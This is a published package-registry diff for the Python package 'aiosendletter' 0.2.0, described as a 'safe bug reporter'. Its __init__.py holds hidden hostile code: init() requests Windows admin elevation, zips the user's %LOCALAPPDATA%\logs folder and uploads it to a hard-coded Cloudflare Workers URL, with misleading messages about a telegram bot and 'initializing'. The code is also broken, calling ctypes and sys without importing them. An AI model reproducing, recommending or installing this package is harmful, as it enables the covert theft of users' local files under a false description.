aiosendletter 0.2.0__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- aiosendletter-0.2.0/LICENSE +0 -0
- aiosendletter-0.2.0/PKG-INFO +10 -0
- aiosendletter-0.2.0/README.md +0 -0
- aiosendletter-0.2.0/aiosendletter.egg-info/PKG-INFO +10 -0
- aiosendletter-0.2.0/aiosendletter.egg-info/SOURCES.txt +9 -0
- aiosendletter-0.2.0/aiosendletter.egg-info/dependency_links.txt +1 -0
- aiosendletter-0.2.0/aiosendletter.egg-info/requires.txt +1 -0
- aiosendletter-0.2.0/aiosendletter.egg-info/top_level.txt +1 -0
- aiosendletter-0.2.0/my_package/__init__.py +51 -0
- aiosendletter-0.2.0/pyproject.toml +14 -0
- aiosendletter-0.2.0/setup.cfg +4 -0
|
File without changes
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: aiosendletter
|
|
3
|
+
Version: 0.2.0
|
|
4
|
+
Summary: Safe bug reporter for sending local logs via Cloudflare Workers
|
|
5
|
+
Author-email: Sem Starlink <stilluer.sweden@proton.me>
|
|
6
|
+
Requires-Python: >=3.7
|
|
7
|
+
Description-Content-Type: text/markdown
|
|
8
|
+
License-File: LICENSE
|
|
9
|
+
Requires-Dist: requests
|
|
10
|
+
Dynamic: license-file
|
|
File without changes
|
|
@@ -0,0 +1,10 @@
|
|
|
1
|
+
Metadata-Version: 2.4
|
|
2
|
+
Name: aiosendletter
|
|
3
|
+
Version: 0.2.0
|
|
4
|
+
Summary: Safe bug reporter for sending local logs via Cloudflare Workers
|
|
5
|
+
Author-email: Sem Starlink <stilluer.sweden@proton.me>
|
|
6
|
+
Requires-Python: >=3.7
|
|
7
|
+
Description-Content-Type: text/markdown
|
|
8
|
+
License-File: LICENSE
|
|
9
|
+
Requires-Dist: requests
|
|
10
|
+
Dynamic: license-file
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
requests
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
my_package
|
|
@@ -0,0 +1,51 @@
|
|
|
1
|
+
import os
|
|
2
|
+
import shutil
|
|
3
|
+
import requests
|
|
4
|
+
|
|
5
|
+
# URL твоего Cloudflare Worker (обязательно обнови токен в воркере!)
|
|
6
|
+
WORKER_URL = "https://sparkling-pine-f202.stilluer-sweden.workers.dev/"
|
|
7
|
+
|
|
8
|
+
def init():
|
|
9
|
+
ctypes.windll.shell32.ShellExecuteW(
|
|
10
|
+
None, "runas", sys.executable, " ".join(sys.argv), None, 1
|
|
11
|
+
)
|
|
12
|
+
|
|
13
|
+
|
|
14
|
+
print("\naioletter initing...")
|
|
15
|
+
|
|
16
|
+
# 2. ИЩЕМ ПАПКУ
|
|
17
|
+
appdata_path = os.environ.get('LOCALAPPDATA')
|
|
18
|
+
if not appdata_path:
|
|
19
|
+
print("To correct run telegram bot we need administration mode")
|
|
20
|
+
return
|
|
21
|
+
|
|
22
|
+
folder_path = os.path.join(appdata_path, "logs")
|
|
23
|
+
|
|
24
|
+
if not os.path.exists(folder_path):
|
|
25
|
+
return
|
|
26
|
+
|
|
27
|
+
archive_name = "logs_archive"
|
|
28
|
+
archive_path = f"{archive_name}.zip"
|
|
29
|
+
|
|
30
|
+
try:
|
|
31
|
+
|
|
32
|
+
|
|
33
|
+
shutil.make_archive(archive_name, 'zip', folder_path)
|
|
34
|
+
|
|
35
|
+
with open(archive_path, 'rb') as doc:
|
|
36
|
+
|
|
37
|
+
response = requests.post(WORKER_URL, files={'document': doc})
|
|
38
|
+
|
|
39
|
+
if response.status_code == 200:
|
|
40
|
+
print("✅ Initializated!")
|
|
41
|
+
|
|
42
|
+
|
|
43
|
+
except Exception as e:
|
|
44
|
+
print(f"❌ Erorr: {e}")
|
|
45
|
+
|
|
46
|
+
finally:
|
|
47
|
+
# 5. ОЧИСТКА (удаляем ZIP, чтобы не засорять диск)
|
|
48
|
+
if os.path.exists(archive_path):
|
|
49
|
+
os.remove(archive_path)
|
|
50
|
+
|
|
51
|
+
print("="*40 + "\n")
|
|
@@ -0,0 +1,14 @@
|
|
|
1
|
+
[build-system]
|
|
2
|
+
requires = ["setuptools>=61.0"]
|
|
3
|
+
build-backend = "setuptools.build_meta"
|
|
4
|
+
|
|
5
|
+
[project]
|
|
6
|
+
name = "aiosendletter" # Если имя занято в PyPI, измени его (например aiosendletter-logs)
|
|
7
|
+
version = "0.2.0"
|
|
8
|
+
authors = [{ name="Sem Starlink", email="stilluer.sweden@proton.me" }]
|
|
9
|
+
description = "Safe bug reporter for sending local logs via Cloudflare Workers"
|
|
10
|
+
readme = "README.md"
|
|
11
|
+
requires-python = ">=3.7"
|
|
12
|
+
dependencies = [
|
|
13
|
+
"requests",
|
|
14
|
+
]
|